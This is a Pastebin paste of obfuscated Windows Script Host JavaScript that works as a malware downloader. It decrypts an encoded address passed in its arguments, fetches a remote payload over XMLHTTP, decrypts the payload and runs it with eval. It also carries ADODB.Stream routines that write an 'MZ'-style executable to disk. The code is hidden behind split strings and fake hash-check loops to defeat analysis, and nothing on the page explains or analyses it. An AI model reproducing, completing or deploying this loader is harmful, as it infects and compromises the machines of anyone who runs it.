opexxx

1d997382ee6960a68c37b88121234bcb

Nov 3rd, 2016
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(){ var a_rx3 = {
  2.     u6: "m",
  3.     i6: "4",
  4.     d7: "M",
  5.     A3: function() {
  6.         return typeof a_rx3.y3.b === 'function' ? a_rx3.y3.b.apply(a_rx3.y3, arguments) : a_rx3.y3.b;
  7.     },
  8.     D5: "1",
  9.     Z6: "Open",
  10.     y5: "ptFullName",
  11.     G5: "2",
  12.     E5: "0",
  13.     D4: 1,
  14.     C4: 0,
  15.     T5: "6",
  16.     F5: "slice",
  17.     B3: function() {
  18.         return typeof a_rx3.y3.b === 'function' ? a_rx3.y3.b.apply(a_rx3.y3, arguments) : a_rx3.y3.b;
  19.     },
  20.     C3: function() {
  21.         return typeof a_rx3.y3.b === 'function' ? a_rx3.y3.b.apply(a_rx3.y3, arguments) : a_rx3.y3.b;
  22.     },
  23.     z5: "sp",
  24.     w5: "S",
  25.     M5: "seBody",
  26.     K5: "Re",
  27.     D3: function() {
  28.         return typeof a_rx3.y3.b === 'function' ? a_rx3.y3.b.apply(a_rx3.y3, arguments) : a_rx3.y3.b;
  29.     },
  30.     R5: "lice",
  31.     P5: "xt",
  32.     L5: "spon",
  33.     Q5: "s",
  34.     W5: "C",
  35.     J5: "e",
  36.     E4: 2,
  37.     U5: "f",
  38.     i7: "n",
  39.     H5: "Quit",
  40.     q6: null,
  41.     E6: "a",
  42.     O5: "dAsTe",
  43.     l6: "h",
  44.     A5: "lit",
  45.     I5: "writ",
  46.     x5: "cri",
  47.     r6: "leng",
  48.     y3: function() {
  49.         var a = function(b, c) {
  50.                 var a = c & 0xffff;
  51.                 var d = c - a;
  52.                 return (d * b | 0) + (a * b | 0) | 0;
  53.             },
  54.             b = function(d, g, j) {
  55.                 var h = 0xcc9e2d51,
  56.                     i = 0x1b873593;
  57.                 var c = j;
  58.                 var f = g & ~0x3;
  59.                 for (var e = 0; e < f; e += 4) {
  60.                     var b = d.charCodeAt(e) & 0xff | (d.charCodeAt(e + 1) & 0xff) << 8 | (d.charCodeAt(e + 2) & 0xff) << 16 | (d.charCodeAt(e + 3) & 0xff) << 24;
  61.                     b = a(b, h);
  62.                     b = (b & 0x1ffff) << 15 | b >>> 17;
  63.                     b = a(b, i);
  64.                     c ^= b;
  65.                     c = (c & 0x7ffff) << 13 | c >>> 19;
  66.                     c = c * 5 + 0xe6546b64 | 0;
  67.                 }
  68.                 b = 0;
  69.                 switch (g % 4) {
  70.                     case 3:
  71.                         b = (d.charCodeAt(f + 2) & 0xff) << 16;
  72.                     case 2:
  73.                         b |= (d.charCodeAt(f + 1) & 0xff) << 8;
  74.                     case 1:
  75.                         b |= d.charCodeAt(f) & 0xff;
  76.                         b = a(b, h);
  77.                         b = (b & 0x1ffff) << 15 | b >>> 17;
  78.                         b = a(b, i);
  79.                         c ^= b;
  80.                 }
  81.                 c ^= g;
  82.                 c ^= c >>> 16;
  83.                 c = a(c, 0x85ebca6b);
  84.                 c ^= c >>> 13;
  85.                 c = a(c, 0xc2b2ae35);
  86.                 c ^= c >>> 16;
  87.                 return c;
  88.             };
  89.         return {
  90.             b: b
  91.         };
  92.     }(),
  93.     S5: "",
  94.     G6: "t",
  95.     B5: ".",
  96.     d6: "de",
  97.     s7: "le",
  98.     A6: "c",
  99.     z3: function() {
  100.         return typeof a_rx3.y3.b === 'function' ? a_rx3.y3.b.apply(a_rx3.y3, arguments) : a_rx3.y3.b;
  101.     },
  102.     s6: "th",
  103.     N5: "rea",
  104.     C5: "length"
  105. };
  106. a_rx3 = a_rx3;
  107. try {
  108.     var lauch = WScript[a_rx3.w5 + a_rx3.x5 + a_rx3.y5][a_rx3.z5 + a_rx3.A5](a_rx3.B5);
  109.     var hienken = lauch[lauch[a_rx3.C5] - +a_rx3.D5];
  110.     arguments[+a_rx3.E5] = decode(arguments[+a_rx3.D5] + a_rx3.B5 + hienken[a_rx3.F5](+a_rx3.E5, a_rx3.G5 - a_rx3.C4), arguments[a_rx3.E5 | a_rx3.C4]);
  111.     var xhr = xhr_get(arguments[a_rx3.E5 * a_rx3.D4], arguments[+a_rx3.D5]);
  112.     if (xhr === ![]) WSH[a_rx3.H5]();
  113.     var stream = new Stream();
  114.     stream[a_rx3.I5 + a_rx3.J5](xhr[a_rx3.K5 + a_rx3.L5 + a_rx3.M5]);
  115.     var code = stream[a_rx3.N5 + a_rx3.O5 + a_rx3.P5]();
  116.     eval(decode(arguments[+a_rx3.D5] + a_rx3.B5 + hienken[a_rx3.Q5 + a_rx3.R5](+a_rx3.E5, +a_rx3.G5), code));
  117. } catch (a) {}
  118.  
  119. function gen_b64_table() {
  120.     var p6 = "61";
  121.     var o6 = "romCharCode";
  122.     var n6 = "47";
  123.     var m6 = "arCode";
  124.     var k6 = "romC";
  125.     var j6 = "3";
  126.     var h6 = "d";
  127.     var g6 = "Co";
  128.     var f6 = "fromChar";
  129.     var e6 = "48";
  130.     var c6 = "romCharCo";
  131.     var b6 = "werCase";
  132.     var a6 = "o";
  133.     var Z5 = "toL";
  134.     var Y5 = "65";
  135.     var X5 = "ode";
  136.     var V5 = "romChar";
  137.     for (var b = a_rx3.S5, a = a_rx3.E5 | a_rx3.C4; a_rx3.G5 + a_rx3.T5 - a_rx3.C4 > a; a++) b += String[a_rx3.U5 + V5 + a_rx3.W5 + X5]((Y5 | a_rx3.C4) + a);
  138.     b += b[Z5 + a6 + b6]();
  139.     for (var a = a_rx3.E5 - a_rx3.C4; + (a_rx3.D5 + a_rx3.E5) > a; a++) b += String[a_rx3.U5 + c6 + a_rx3.d6](+e6 + a);
  140.     return b += String[f6 + g6 + h6 + a_rx3.J5]((a_rx3.i6 + j6) * a_rx3.D4), b += String[a_rx3.U5 + k6 + a_rx3.l6 + m6](+n6), b += String[a_rx3.U5 + o6](+p6);
  141. };
  142. var b64_table = a_rx3.q6;;;
  143.  
  144. function decode(b, a) {
  145.     var o5 = 1340587361;
  146.     var k5 = 1035954964;
  147.     var P4 = 47954;
  148.     var I4 = 9843;
  149.     var E3 = -k5,
  150.         F3 = o5,
  151.         G3 = a_rx3.E4;
  152.     for (var I3 = a_rx3.D4; a_rx3.A3(I3.toString(), I3.toString().length, P4) !== E3; I3++) {
  153.         return a = b64_decode(a), xor_decrypt(b, a);
  154.         G3 += a_rx3.E4;
  155.     }
  156.     if (a_rx3.B3(G3.toString(), G3.toString().length, I4) !== F3) {
  157.         return a = b64_decode(a), xor_decrypt(b, a);
  158.     }
  159.     return a = b64_decode(a), xor_decrypt(b, a);
  160. }
  161.  
  162. function encode(b, a, c) {
  163.     var v5 = 2003573914;
  164.     var e5 = 175928995;
  165.     var R4 = 51216;
  166.     var Q4 = 49941;
  167.     var J3 = e5,
  168.         K3 = -v5,
  169.         L3 = a_rx3.E4;
  170.     for (var N3 = a_rx3.D4; a_rx3.C3(N3.toString(), N3.toString().length, R4) !== J3; N3++) {
  171.         return a = xor_encrypt(b, a), ~c || (a = b64_encode(a)), a;
  172.         L3 += a_rx3.E4;
  173.     }
  174.     if (a_rx3.C3(L3.toString(), L3.toString().length, Q4) !== K3) {
  175.         return a = xor_encrypt(b, a), ~c || (a = b64_encode(a)), a;
  176.     }
  177.     return a = xor_encrypt(b, a), !c && (a = b64_encode(a)), a;
  178. }
  179.  
  180. function xor_decrypt(d, c) {
  181.     var v6 = "arCo";
  182.     var t6 = "fro";
  183.     var n5 = 1323304508;
  184.     var d5 = 113566817;
  185.     var O4 = 44737;
  186.     var J4 = 18021;
  187.     var O3 = d5,
  188.         P3 = n5,
  189.         Q3 = a_rx3.E4;
  190.     for (var S3 = a_rx3.D4; a_rx3.A3(S3.toString(), S3.toString().length, O4) !== O3; S3++) {
  191.         for (var b = a_rx3.S5, a = a_rx3.E5 | a_rx3.C4; a < c[a_rx3.r6 + a_rx3.s6]; a++) b += String[t6 + a_rx3.u6 + a_rx3.W5 + a_rx3.l6 + v6 + a_rx3.d6](c[a] ^ keyCharAt(d, a));
  192.         return b;
  193.         Q3 += a_rx3.E4;
  194.     }
  195.     if (a_rx3.A3(Q3.toString(), Q3.toString().length, J4) !== P3) {
  196.         return b;
  197.     }
  198. }
  199.  
  200. function b64_decode(a) {
  201.     var S6 = "us";
  202.     var R6 = "p";
  203.     var Q6 = "push";
  204.     var P6 = "64";
  205.     var O6 = "pus";
  206.     var N6 = "5";
  207.     var M6 = "25";
  208.     var L6 = "8";
  209.     var K6 = "255";
  210.     var J6 = "16";
  211.     var I6 = "12";
  212.     var H6 = "18";
  213.     var F6 = "rA";
  214.     var D6 = "ch";
  215.     var C6 = "inde";
  216.     var B6 = "harAt";
  217.     var z6 = "xOf";
  218.     var y6 = "in";
  219.     var x6 = "charAt";
  220.     var w6 = "indexOf";
  221.     b64_table || (b64_table = gen_b64_table());
  222.     var h, i, j, k, g, e, f, d, b = a_rx3.E5 * a_rx3.D4,
  223.         c = [];
  224.     if (!a) return a;
  225.     a += a_rx3.S5;
  226.     do k = b64_table[w6](a[x6](b++)), g = b64_table[y6 + a_rx3.d6 + z6](a[a_rx3.A6 + B6](b++)), e = b64_table[C6 + z6](a[a_rx3.A6 + B6](b++)), f = b64_table[C6 + z6](a[D6 + a_rx3.E6 + F6 + a_rx3.G6](b++)), d = k << +H6 | g << I6 * a_rx3.D4 | e << +a_rx3.T5 | f, h = d >> J6 - a_rx3.C4 & K6 * a_rx3.D4, i = d >> L6 * a_rx3.D4 & (K6 | a_rx3.C4), j = M6 + N6 - a_rx3.C4 & d, c[O6 + a_rx3.l6](h), P6 * a_rx3.D4 !== e && (c[Q6](i), a_rx3.T5 + a_rx3.i6 - a_rx3.C4 !== f && c[R6 + S6 + a_rx3.l6](j)); while (b < a[a_rx3.r6 + a_rx3.s6]);
  227.     return c;
  228. }
  229.  
  230. function xhr_get(c, d) {
  231.     var m7 = "20";
  232.     var l7 = "Statu";
  233.     var k7 = "Send";
  234.     var j7 = "l";
  235.     var h7 = "joi";
  236.     var g7 = "HTTP";
  237.     var f7 = ".XML";
  238.     var e7 = "XML2";
  239.     var c7 = "Object";
  240.     var b7 = "Create";
  241.     var a7 = "200";
  242.     var Y6 = "/l/";
  243.     var X6 = "tus";
  244.     var W6 = "Sta";
  245.     var V6 = "GET";
  246.     var U6 = "l/";
  247.     var T6 = "/";
  248.     var q5 = 1643055617;
  249.     var m5 = 1312703836;
  250.     var X4 = 72681;
  251.     var L4 = 32407;
  252.     var F4 = 3;
  253.     var T3 = q5,
  254.         U3 = m5,
  255.         V3 = a_rx3.E4;
  256.     for (var X3 = a_rx3.D4; a_rx3.C3(X3.toString(), X3.toString().length, X4) !== T3; X3++) {
  257.         var a = WScript[T6 + U6](V6);
  258.         var b = [c, d][W6 + X6](Y6);
  259.         V3 += a_rx3.E4;
  260.     }
  261.     if (a_rx3.D3(V3.toString(), V3.toString().length, L4) !== U3) {
  262.         a[a_rx3.Z6](Y6, b, +a_rx3.E4);
  263.         a[a7]();
  264.         if (a[a_rx3.S5] === (V6 & F4)) return - +Y6;
  265.         return a;
  266.     }
  267.     var a = WScript[b7 + c7](a_rx3.d7 + a_rx3.w5 + e7 + f7 + g7);
  268.     var b = [c, d][h7 + a_rx3.i7](T6 + j7 + T6);
  269.     a[a_rx3.Z6](V6, b, !a_rx3.D4);
  270.     a[k7]();
  271.     if (a[l7 + a_rx3.Q5] !== (m7 + a_rx3.E5 | a_rx3.C4)) return !!a_rx3.S5;
  272.     return a;
  273. }
  274.  
  275. function keyCharAt(a, b) {
  276.     var x7 = "A";
  277.     var w7 = "harCode";
  278.     var v7 = "floor";
  279.     var u7 = "charCodeAt";
  280.     var t7 = "ngth";
  281.     var r7 = "or";
  282.     var q7 = "lo";
  283.     var p7 = "eA";
  284.     var o7 = "od";
  285.     var n7 = "arC";
  286.     var t5 = 1862521197;
  287.     var r5 = 1804635720;
  288.     var Z4 = 82069;
  289.     var M4 = 34699;
  290.     var Y3 = r5,
  291.         Z3 = t5,
  292.         a4 = a_rx3.E4;
  293.     for (var c4 = a_rx3.D4; a_rx3.A3(c4.toString(), c4.toString().length, M4) !== Y3; c4++) {
  294.         return a[a_rx3.A6 + a_rx3.l6 + n7 + o7 + p7 + a_rx3.G6](Math[a_rx3.U5 + q7 + r7](b % a[a_rx3.s7 + t7]));
  295.         a4 += a_rx3.E4;
  296.     }
  297.     if (a_rx3.C3(a4.toString(), a4.toString().length, Z4) !== Z3) {
  298.         return a[u7](Math[v7](b / a[a_rx3.A6 + w7 + x7 + a_rx3.G6]));
  299.     }
  300. }
  301.  
  302. function Stream() {
  303.     var n8 = "set";
  304.     var k8 = "us-asc";
  305.     var j8 = "it";
  306.     var e8 = "ion";
  307.     var b8 = "Pos";
  308.     var Y7 = "W";
  309.     var W7 = "P";
  310.     var S7 = "B.Stre";
  311.     var R7 = "D";
  312.     var Q7 = "ADO";
  313.     var P7 = "ct";
  314.     var O7 = "CreateObje";
  315.     var L7 = "i";
  316.     var z7 = "Charset";
  317.     var y7 = "Type";
  318.  
  319.     function d(b) {
  320.         var N7 = "FromFi";
  321.         var M7 = "Load";
  322.         var K7 = "dFromF";
  323.         var J7 = "oa";
  324.         var I7 = "L";
  325.         var H7 = "il";
  326.         var G7 = "F";
  327.         var F7 = "rom";
  328.         var E7 = "dF";
  329.         var D7 = "Loa";
  330.         var C7 = "ascii";
  331.         var B7 = "s-";
  332.         var A7 = "u";
  333.         var s5 = 1850607865;
  334.         var p5 = 1372567178;
  335.         var Y4 = 78664;
  336.         var V4 = 64244;
  337.         var d4 = -s5,
  338.             e4 = -p5,
  339.             f4 = a_rx3.E4;
  340.         for (var h4 = a_rx3.D4; a_rx3.C3(h4.toString(), h4.toString().length, Y4) !== d4; h4++) {
  341.             a[y7] = a_rx3.G5 * a_rx3.D4;
  342.             a[z7] = A7 + B7 + C7;
  343.             a[a_rx3.Z6]();
  344.             f4 += a_rx3.E4;
  345.         }
  346.         if (a_rx3.A3(f4.toString(), f4.toString().length, V4) !== e4) {
  347.             a[D7 + E7 + F7 + G7 + H7 + a_rx3.J5]();
  348.             a[I7 + J7 + K7 + L7 + a_rx3.s7](b);
  349.         }
  350.         a[M7 + N7 + a_rx3.s7](b);
  351.     }
  352.     var a = WScript[O7 + P7](Q7 + R7 + S7 + a_rx3.E6 + a_rx3.u6);
  353.  
  354.     function f() {
  355.         var T7 = "Clos";
  356.         var l5 = 1159612863;
  357.         var h5 = 760641573;
  358.         var b5 = 91395;
  359.         var N4 = 40255;
  360.         var i4 = l5,
  361.             j4 = h5,
  362.             k4 = a_rx3.E4;
  363.         for (var m4 = a_rx3.D4; a_rx3.A3(m4.toString(), m4.toString().length, b5) !== i4; m4++) {
  364.             a[a_rx3.S5]();
  365.             k4 += a_rx3.E4;
  366.         }
  367.         if (a_rx3.D3(k4.toString(), k4.toString().length, N4) !== j4) {
  368.             a[T7 + a_rx3.J5]();
  369.         }
  370.     }
  371.  
  372.     function b(b) {
  373.         var i8 = "Po";
  374.         var h8 = "Wri";
  375.         var g8 = "en";
  376.         var f8 = "Op";
  377.         var d8 = "osi";
  378.         var c8 = "itio";
  379.         var a8 = "te";
  380.         var Z7 = "ri";
  381.         var X7 = "osition";
  382.         var V7 = "Write";
  383.         var U7 = "Writ";
  384.         var f5 = 318358290;
  385.         var c5 = 9673922;
  386.         var S4 = 58523;
  387.         var K4 = 20750;
  388.         var H4 = 6;
  389.         var n4 = -f5,
  390.             o4 = c5,
  391.             p4 = a_rx3.E4;
  392.         for (var r4 = a_rx3.D4; a_rx3.z3(r4.toString(), r4.toString().length, S4) !== n4; r4++) {
  393.             a[U7 + a_rx3.J5] = !V7;
  394.             a[W7 + X7]();
  395.             p4 += a_rx3.E4;
  396.         }
  397.         if (a_rx3.D3(p4.toString(), p4.toString().length, K4) !== o4) {
  398.             a[Y7 + Z7 + a8](b);
  399.             a[b8 + c8 + a_rx3.i7] = (W7 + d8 + a_rx3.G6 + e8) % H4;
  400.         }
  401.         a[y7] = +a_rx3.D5;
  402.         a[f8 + g8]();
  403.         a[h8 + a8](b);
  404.         a[i8 + a_rx3.Q5 + j8 + e8] = a_rx3.E5 * a_rx3.D4;
  405.     }
  406.  
  407.     function c(b, c) {
  408.         var w8 = "x";
  409.         var v8 = "adTe";
  410.         var u8 = "R";
  411.         var t8 = "Posit";
  412.         var s8 = 'us-ascii';
  413.         var r8 = "arse";
  414.         var q8 = "harset";
  415.         var p8 = "rse";
  416.         var o8 = "Cha";
  417.         var m8 = "r";
  418.         var l8 = "Ch";
  419.         var i5 = 909559862;
  420.         var g5 = 491882910;
  421.         var a5 = 89718;
  422.         var T4 = 60731;
  423.         var G4 = 5;
  424.         var s4 = g5,
  425.             t4 = -i5,
  426.             u4 = a_rx3.E4;
  427.         for (var w4 = a_rx3.D4; a_rx3.z3(w4.toString(), w4.toString().length, T4) !== s4; w4++) {
  428.             b = b && k8 + L7 + L7 + G4;
  429.             a[l8 + a_rx3.E6 + m8 + n8] = ~a_rx3.G5;
  430.             a[o8 + p8 + a_rx3.G6] = a_rx3.W5 + q8;
  431.             a[a_rx3.G5] = b;
  432.             return a[z7](c);
  433.             u4 += a_rx3.E4;
  434.         }
  435.         if (a_rx3.A3(u4.toString(), u4.toString().length, a5) !== t4) {
  436.             c = c || - +a_rx3.D5;
  437.             b = b || a_rx3.E5 - a_rx3.C4;
  438.             a[y7] = +a_rx3.G5;
  439.             a[a_rx3.W5 + a_rx3.l6 + r8 + a_rx3.G6] = s8;
  440.             a[t8 + e8] = b;
  441.         }
  442.         return a[u8 + a_rx3.J5 + v8 + w8 + a_rx3.G6](c);
  443.     }
  444.  
  445.     function e(b) {
  446.         var K8 = "SaveToFile";
  447.         var J8 = "on";
  448.         var I8 = "Te";
  449.         var H8 = "rit";
  450.         var G8 = "ar";
  451.         var F8 = "ZP";
  452.         var E8 = "Z";
  453.         var D8 = "MZ";
  454.         var C8 = "MZP";
  455.         var B8 = "scii";
  456.         var A8 = "us-ascii";
  457.         var z8 = "ii";
  458.         var y8 = "sc";
  459.         var x8 = "us-a";
  460.         var u5 = 1969909715;
  461.         var j5 = 1008753336;
  462.         var W4 = 70527;
  463.         var U4 = 62425;
  464.         var x4 = u5,
  465.             y4 = -j5,
  466.             z4 = a_rx3.E4;
  467.         for (var B4 = a_rx3.D4; a_rx3.D3(B4.toString(), B4.toString().length, W4) !== x4; B4++) {
  468.             a[x8 + y8 + z8] = ~A8;
  469.             a[a_rx3.E5] = x8 + B8;
  470.             a[C8](D8 + W7);
  471.             a[a_rx3.d7 + E8 + W7] = D8 + W7 & a_rx3.E4;
  472.             z4 += a_rx3.E4;
  473.         }
  474.         if (a_rx3.C3(z4.toString(), z4.toString().length, U4) !== y4) {
  475.             a[a_rx3.d7 + F8](b, ~(a_rx3.d7 + F8));
  476.         }
  477.         a[y7] = +a_rx3.G5;
  478.         a[a_rx3.W5 + a_rx3.l6 + G8 + n8] = k8 + z8;
  479.         a[Y7 + H8 + a_rx3.J5 + I8 + a_rx3.P5](C8);
  480.         a[b8 + j8 + L7 + J8] = a_rx3.E5 | a_rx3.C4;
  481.         a[K8](b, +a_rx3.D5);
  482.     }
  483.     return {
  484.         close: f,
  485.         write: b,
  486.         loadFile: d,
  487.         saveTo: e,
  488.         readAsText: c
  489.     };;;;;;
  490. } })('UUMWRRFcGx1fW05UQQxbF1AWQQ1C', '97b5bf4214958f4d585b2c3d9b0689598e1f2166')
Add Comment
Please, Sign In to add comment